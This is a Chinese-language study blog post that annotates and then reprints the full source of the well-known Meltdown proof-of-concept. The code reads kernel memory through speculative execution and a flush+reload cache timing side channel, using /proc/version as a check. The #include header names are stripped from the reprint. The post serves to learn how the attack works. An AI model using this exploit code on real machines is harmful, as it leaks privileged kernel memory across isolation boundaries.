在这里int main(int argc, char *argv[])
{
int ret, fd, i, score, is_vulnerable;
unsigned long addr, size;
static char expected[] = "%s version %s";
progname = argv[0];
if (argc < 3)
return usage();
if (sscanf(argv[1], "%lx", &addr) != 1)
return usage();
if (sscanf(argv[2], "%lx", &size) != 1)
return usage();
memset(target_array, 1, sizeof(target_array));//将target-array数组值全部置为一
ret = set_signal();
pin_cpu0();
set_cache_hit_threshold();//设置 cache hit 阈值
fd = open("/proc/version", O_RDONLY);//open函数,打开路径, readonly ,成功则返回文件描述符,否则返回 -1 , /proc/version系统调用将内核信息版本返回给函数
if (fd < 0) {
perror("open");
return -1;
}
for (score = 0, i = 0; i < size; i++) {//循环遍历所有字符
ret = readbyte(fd, addr);//ret是很重要(超级重要)的返回值,readbyte函数也是该代码核心
if (ret == -1)
ret = 0xff;
printf("read %lx = %x %c (score=%d/%d)\n",//%x是以16进制输出整型数据,%lx就是以16进制输出长整型数据
addr, ret, isprint(ret) ? ret : ' ',//?就是判断的意思,true就输出:前面的,false就是后面的
ret != 0xff ? hist[ret] : 0,
CYCLES);
if (i < sizeof(expected) &&
ret == expected[i])
score++;
addr++;
}
close(fd);
is_vulnerable = score > min(size, sizeof(expected)) / 2;
if (is_vulnerable)
fprintf(stderr, "VULNERABLE\n");
else
fprintf(stderr, "NOT VULNERABLE\n");
exit(is_vulnerable);
}插入代码片
在这里插入代码片int readbyte(int fd, unsigned long addr)
{
int i, ret = 0, max = -1, maxi = -1;
static char buf[256];
memset(hist, 0, sizeof(hist));//将hist参数全部设为0
for (i = 0; i < CYCLES; i++) {
ret = pread(fd, buf, sizeof(buf), 0);//,将fd读入到buf array中,成功ret=返回的字节数。
if (ret < 0) {
perror("pread");
break;
}
clflush_target();//Flush阶段,就是将target array在cache清空
_mm_mfence();
speculate(addr);//Speculate阶段
check();//Probe阶段
}
#ifdef DEBUG
for (i = 0; i < VARIANTS_READ; i++)
if (hist[i] > 0)
printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]);
#endif
for (i = 1; i < VARIANTS_READ; i++) {
if (!isprint(i))
continue;
if (hist[i] && hist[i] > max) {
max = hist[i];
maxi = i;
}
}
return maxi;
}
看看clflush_target()
void clflush_target(void)
{
int i;
for (i = 0; i < VARIANTS_READ; i++)
_mm_clflush(&target_array[i * TARGET_SIZE]);
看看speculate(unsigned long addr)
static void __attribute__((noinline)) speculate(unsigned long addr)
{
#ifdef __x86_64__
asm volatile (
"1:\n\t"
".rept 300\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t"
"movzx (%[addr]), %%eax\n\t"
"shl $12, %%rax\n\t"
"jz 1b\n\t"
"movzx (%[target], %%rax, 1), %%rbx\n"
"stopspeculate: \n\t"
"nop\n\t"
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#else /* ifdef __x86_64__ */
asm volatile (
"1:\n\t"
".rept 300\n\t"//make the code below executed at same time
"add $0x141, %%eax\n\t"
".endr\n\t"
"movzx (%[addr]), %%eax\n\t"//将攻击者的目标内核地址所指向的数据放入eax寄存器中,该操作会触发处理器异常
"shl $12, %%eax\n\t"//左移12位 乘以4096,这样就和一个页的大小相等了
"jz 1b\n\t"//jump if zero 如果eflag置零位为1 就跳转
"movzx (%[target], %%eax, 1), %%ebx\n" //move probe_pages to cache: rbx = [probe_pages + 4096 * (*addr)]
"stopspeculate: \n\t"
"nop\n\t"//不执行指令只占用时间片
://没有输出
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#endif
}
check函数
void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < VARIANTS_READ; i++) {
mix_i = ((i * 167) + 13) & 255;//mix i存在主要防止函数优化,导致所有cache访问时间一样
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);//获取时间
if (time <= cache_hit_threshold)
hist[mix_i]++;//hist数组记录命中次数
}
}
再回到readbyte函数,看看下部分代码,此时已经求到了hist[mix_i]最大值
#ifdef DEBUG
for (i = 0; i < VARIANTS_READ; i++)
if (hist[i] > 0)
printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]);
#endif
for (i = 1; i < VARIANTS_READ; i++) {
if (!isprint(i))
continue;
if (hist[i] && hist[i] > max) {
max = hist[i];//max是命中次数
maxi = i;//maxi是命中的那个cache
}
}
return maxi;//注意返回值,最后要输出转化为ascii
}
补充:注意输出函数printf(“read %lx = %x %c (score=%d/%d)\n”,
addr, ret, isprint(ret) ? ret : ’ ',
ret != 0xff ? hist[ret] : 0,
CYCLES);
ret值既被当作long int 即%lx输出,又被当作char类型输出,即%c
该函数我一直就卡在怎么读出cache中数据,网上说的cache侧信道概念比较简单,官方poc用的flush和reload也比较简单,但是结合到代码还是有点乱,具体怎么实现还算是比较巧妙的
**************target_array[i * TARGET_SIZE]就是我们目标数组,将我们需要读取的字符,转换成i,这里可以理解为int类型,这个时候含有i的cahce页面就cahce中。这样就可以通过探测哪个cache页面访问时间短,判断秘密访问的字符值了。
**************其实在C语言中char类型就是用int存储的,比如我们要读的字符是P,这时i的ascii值就是80
在这里插入代码片#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "rdtscp.h"
//#define DEBUG 1
#if !(defined(__x86_64__) || defined(__i386__))
# error "Only x86-64 and i386 are supported at the moment"
#endif
#define TARGET_OFFSET 12
#define TARGET_SIZE (1 << TARGET_OFFSET)
#define BITS_READ 8
#define VARIANTS_READ (1 << BITS_READ)
static char target_array[VARIANTS_READ * TARGET_SIZE];
void clflush_target(void)
{
int i;
for (i = 0; i < VARIANTS_READ; i++)
_mm_clflush(&target_array[i * TARGET_SIZE]);
}
extern char stopspeculate[];
static void __attribute__((noinline))
speculate(unsigned long addr)
{
#ifdef __x86_64__
asm volatile (
"1:\n\t"
".rept 300\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t"
"movzx (%[addr]), %%eax\n\t"
"shl $12, %%rax\n\t"
"jz 1b\n\t"
"movzx (%[target], %%rax, 1), %%rbx\n"
"stopspeculate: \n\t"
"nop\n\t"
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#else /* ifdef __x86_64__ */
asm volatile (
"1:\n\t"
".rept 300\n\t"
"add $0x141, %%eax\n\t"
".endr\n\t"
"movzx (%[addr]), %%eax\n\t"//将攻击者的目标内核地址所指向的数据放入eax寄存器中,该操作会触发处理器异常
"shl $12, %%eax\n\t"
"jz 1b\n\t"
"movzx (%[target], %%eax, 1), %%ebx\n"
"stopspeculate: \n\t"
"nop\n\t"
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#endif
}
static int cache_hit_threshold;
static int hist[VARIANTS_READ];
void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < VARIANTS_READ; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);
if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}
void sigsegv(int sig, siginfo_t *siginfo, void *context)
{
ucontext_t *ucontext = context;
#ifdef __x86_64__
ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
#else
ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
#endif
return;
}
int set_signal(void)
{
struct sigaction act = {
.sa_sigaction = sigsegv,
.sa_flags = SA_SIGINFO,
};
return sigaction(SIGSEGV, &act, NULL);
}
#define CYCLES 1000
int readbyte(int fd, unsigned long addr)
{
int i, ret = 0, max = -1, maxi = -1;
static char buf[256];
memset(hist, 0, sizeof(hist));
for (i = 0; i < CYCLES; i++) {//buf中有fd数据
ret = pread(fd, buf, sizeof(buf), 0);//成功ret=返回的字节数
if (ret < 0) {
perror("pread");
break;
}
clflush_target();//Flush阶段
_mm_mfence();
speculate(addr);//Speculate阶段
check();//Probe阶段
}
#ifdef DEBUG
for (i = 0; i < VARIANTS_READ; i++)
if (hist[i] > 0)
printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]);
#endif
for (i = 1; i < VARIANTS_READ; i++) {
if (!isprint(i))
continue;
if (hist[i] && hist[i] > max) {
max = hist[i];
maxi = i;
}
}
return maxi;
}
static char *progname;
int usage(void)
{
printf("%s: [hexaddr] [size]\n", progname);
return 2;
}
static int mysqrt(long val)
{
int root = val / 2, prevroot = 0, i = 0;
while (prevroot != root && i++ < 100) {
prevroot = root;
root = (val / root + root) / 2;
}
return root;
}
#define ESTIMATE_CYCLES 1000000
static void
set_cache_hit_threshold(void)
{
long cached, uncached, i;
if (0) {
cache_hit_threshold = 80;
return;
}
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);
for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
_mm_clflush(target_array);
uncached += get_access_time(target_array);
}
cached /= ESTIMATE_CYCLES;
uncached /= ESTIMATE_CYCLES;
cache_hit_threshold = mysqrt(cached * uncached);
printf("cached = %ld, uncached = %ld, threshold %d\n",
cached, uncached, cache_hit_threshold);
}
static int min(int a, int b)
{
return a < b ? a : b;
}
static void pin_cpu0()
{
cpu_set_t mask;
/* PIN to CPU0 */
CPU_ZERO(&mask);
CPU_SET(0, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
}
int main(int argc, char *argv[])
{
int ret, fd, i, score, is_vulnerable;
unsigned long addr, size;
static char expected[] = "%s version %s";
progname = argv[0];
if (argc < 3)
return usage();
if (sscanf(argv[1], "%lx", &addr) != 1)
return usage();
if (sscanf(argv[2], "%lx", &size) != 1)
return usage();
memset(target_array, 1, sizeof(target_array));
ret = set_signal();
pin_cpu0();
set_cache_hit_threshold();
fd = open("/proc/version", O_RDONLY);
if (fd < 0) {
perror("open");//open函数,打开路径 readonly 成功则返回文件描述符,否则返回 -1 /proc/version系统调用将内核信息版本返回给函数
return -1;
}
for (score = 0, i = 0; i < size; i++) {
ret = readbyte(fd, addr);
if (ret == -1)
ret = 0xff;
printf("read %lx = %x %c (score=%d/%d)\n",
addr, ret, isprint(ret) ? ret : ' ',
ret != 0xff ? hist[ret] : 0,
CYCLES);
if (i < sizeof(expected) &&
ret == expected[i])
score++;
addr++;
}
close(fd);
is_vulnerable = score > min(size, sizeof(expected)) / 2;
if (is_vulnerable)
fprintf(stderr, "VULNERABLE\n");
else
fprintf(stderr, "NOT VULNERABLE\n");
exit(is_vulnerable);
}
菜鸟一个,写的不好。如有错误,欢迎大家批评指正。